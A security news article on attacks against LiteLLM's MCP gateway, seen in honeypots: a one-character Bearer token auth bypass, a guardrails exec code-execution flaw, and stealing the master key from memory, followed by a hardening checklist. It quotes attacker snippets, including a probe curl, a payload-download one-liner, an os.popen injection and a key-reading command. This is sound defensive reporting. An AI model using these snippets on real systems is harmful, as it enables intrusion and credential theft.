Home / Articles

How a One-Character Bearer Token Opened LiteLLM's MCP Gateway

Honeypots caught attackers abusing a LiteLLM MCP auth bypass and a guardrails code-execution flaw. Here is the attack chain and a six-step checklist to harden it.

Publisher: REACTAPP.TOP5 min read1076 words

This article is published in English.

Sources: A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway

Over a 90-day stretch, Wiz Research operated decoy servers modeled on live AI tooling, including LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI and Node-RED, and recorded who came knocking. Real attackers did. The headline result wasn't a zero-day. It was an error handler in LiteLLM's Model Context Protocol (MCP) gateway that read "I don't recognize this token" as "this token is fine". A Bearer token a single character long was enough to get in. LiteLLM is a popular gateway that lets applications talk to several model vendors through one endpoint, so teams running it should set aside ten minutes for this.

The one-character bypass

The flaw is tracked as CVE-2026-59822. LiteLLM's MCP endpoint is meant to validate a Bearer token before it opens the door to every MCP server an organization has connected, such as Jira, Slack, internal databases and CI/CD pipelines. In the buggy path, a token that failed the normal LiteLLM check triggered a 401, and the code caught that error and returned an empty auth object. Empty doesn't mean denied. It means authenticated as nobody in particular, and the MCP layer accepted that.

The probe attackers sent was about as small as a request can be:

# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models

If the response carried an mcp-session-id header, the session was open, with access to every MCP tool the proxy could reach and no valid credential. The honeypots recorded live probing, and the CVE went onto CISA's Known Exploited Vulnerabilities list.

From open session to cryptominer

An open MCP session was bad enough alone, but the attackers chained it. Wiz documented the bypass feeding into CVE-2026-42271, a command-injection bug in MCP's test and config endpoints, where a crafted server configuration triggers unsafe subprocess execution. The recipe was simple: register a fake MCP config, make it shell out to download and run a cryptominer, then delete the staging directory so a casual ls shows nothing. A typical download step looked like this:

python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"

Some of the activity has been tied to the Qilin ransomware group. The evasion habits matter more than the CVE numbers. Miners were staged in /tmp/.dbus-cache/, binaries were renamed to things like unicorn, and one campaign put its payload in /app/data/.claude/, a folder laid out to resemble a Claude Code config directory, so it would look like expected tooling and not an intrusion.

A second bug: guardrails code execution

LiteLLM had a separate, equally serious problem, CVE-2026-59821, in custom guardrails. That feature lets administrators upload Python snippets that inspect incoming requests. The upload endpoint compiled and executed the snippet with exec(compile(...)), leaving __builtins__ in place and allowing any import. An admin session, or an unauthenticated one as described next, could therefore register a fake guardrail such as:

import os
_cmd = os.popen('id').read().strip()

and receive command output back inside the block-reason field of a later response. Version 1.82.0 fixes it by enforcing the admin role on the guardrail endpoints and by stripping __builtins__ before compilation. On an older pin, patching is urgent, since the next issue makes things worse.

The default that made it live

The detail that makes this an incident, not a routine patch: with no master key set, LiteLLM used to treat every caller as PROXY_ADMIN. That wasn't read-only or scoped access. It was full admin, guardrails endpoint included, and plenty of deployments never set a key. When researchers scanned public instances, roughly one in ten (9.6% of 3,074) either still used the stock sk-1234 key or checked nothing at all. Add the MCP bypass and the guardrails execution bug, and there were several independent, cheap routes into one machine.

Looking for memory, not files

Wiz calls the follow-up "AI-native post-exploitation", and the AI-specific part is what attackers hunted for after getting a shell. They went after the running process's memory, not files on disk:

python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"

That single line reads the proxy's master key straight out of memory with no disk access. From there the intruders listed config paths such as /app/litellm_config.yaml and ~/.litellm/config.yaml, worked out which backend models were attached, and chose targets by what the proxy could reach. A gateway like this is a more valuable prize than an ordinary app server. Wiz telemetry showed one proxy often holds live keys for OpenAI, Anthropic, Azure OpenAI and Gemini at once, so a single memory read exposes four providers.

Checklist instead of CVE numbers

  1. Check the version. LiteLLM 1.84.0 or later fixes the MCP bypass, and 1.82.0 or later fixes the guardrails execution bug. If you're behind on both, plan an afternoon for upgrading.
  2. Confirm a real master key exists. It shouldn't be sk-1234 or empty. Run echo $LITELLM_MASTER_KEY and make sure it isn't the tutorial default pasted in long ago.
  3. Send your own junk Bearer token to your MCP endpoint, just as the attackers did. A 200 with a session ID instead of a 401 means you're still exposed whatever the version, so verify the patch took effect.
  4. Audit who holds PROXY_ADMIN. After patching, the default role becomes INTERNAL_USER, but existing deployments aren't downgraded automatically, so review role assignments manually.
  5. Limit what the MCP servers can reach. If one set of credentials lets the gateway touch Jira, Slack, the database and CI, that's the real damage multiplier. Narrow it with least-privilege IAM and egress rules whether or not you've patched.
  6. Monitor runtime behavior, not only logs. The honeypot campaigns showed up as process-ancestry oddities, like a Python proxy spawning curl or python3 -c, more than in any access log.

An AI gateway deserves to be treated as the credential vault it really is, not as a convenience proxy set up once and forgotten. The auth bug wasn't exotic. It was a try/except that swallowed the wrong error, and attackers have already used it in the wild.